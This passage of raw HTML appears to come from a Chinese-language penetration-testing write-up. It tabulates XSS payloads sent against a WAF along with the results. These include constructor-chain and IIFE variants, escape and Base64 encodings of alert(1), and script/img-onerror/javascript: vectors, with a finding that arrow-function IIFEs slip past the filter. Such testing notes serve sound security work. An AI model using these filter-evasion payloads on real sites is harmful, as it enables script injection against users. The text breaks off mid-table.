255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">测试 Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=([].constructor)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=([].constructor.constructor(&#39;1&#39;)())</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=([].constructor[&#39;constructor&#39;](&#39;1&#39;)())</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=var c=[];c[&#39;constructor&#39;](&#39;1&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr></tbody></table></figure><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">结论</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">constructor[</span></code><span style="box-sizing: border-box;"><span leaf=""> + </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">](</span></code><span style="box-sizing: border-box;"><span leaf=""> 或 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">constructor.constructor(</span></code><span style="box-sizing: border-box;"><span leaf=""> 均被拦截。</span></span></p><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">规则组 E: </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: inherit;"><span leaf="">function</span></code><span style="box-sizing: border-box;"><span leaf=""> 关键字 + 立即执行（触发连接重置）</span></span></h6><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">测试 Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=(function(){})</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常（未执行）</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=(function(){})()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=(()=&gt;1)()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常（箭头函数允许）</span></span></td></tr></tbody></table></figure><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">结论</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">function</span></code><span style="box-sizing: border-box;"><span leaf=""> 关键字 + </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">{}()</span></code><span style="box-sizing: border-box;"><span leaf=""> 模式被拦截，但箭头函数 IIFE 可以绕过。</span></span></p><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">规则组 F: 编码绕过检测（全部失败）</span></span></h6><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">测试 Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">说明</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=\u0061lert(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Unicode 转义被检测</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=\x61lert\x28\x31\x29</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">十六进制转义被检测</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=\141\154\145\162\164\050\061\051</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">八进制转义被检测</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=&#39;ale&#39;+&#39;rt(1)&#39;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">字符串拆分被检测（推测 WAF 重构了字符串）</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=atob(&#39;YWxlcnQoMSk=&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Base64 被解码检测</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=atob(&#39;YWxlcnQ=&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">非法请求</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Base64 编码的 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alert</span></code><span style="box-sizing: border-box;"><span leaf=""> 函数名也被检测</span></span></td></tr></tbody></table></figure><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">结论</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: WAF 具备极强的解码能力，包括 URL 解码、Unicode 解码、Base64 解码、字符串重构等。    </span></span></p><hr style="box-sizing: content-box;height: 2px;padding: 0px;margin: 16px 0px;background-color: rgb(231, 231, 231);border: 0px;overflow: hidden;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h4 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">4. 绕过尝试历程</span></span></h4><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">阶段 1: 基础尝试（全部失败）</span></span></h5><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">###</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">原因</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">1</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;script&gt;alert(1)&lt;/script&gt;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">HTML标签 + alert(</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">2</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&#34;&gt;&lt;img src=x onerror=alert(1)&gt;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">同上</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">3</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#34;javascript:confirm(1)&#34;&gt;link&lt;/a&gt;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">HTML标签</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">4</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span 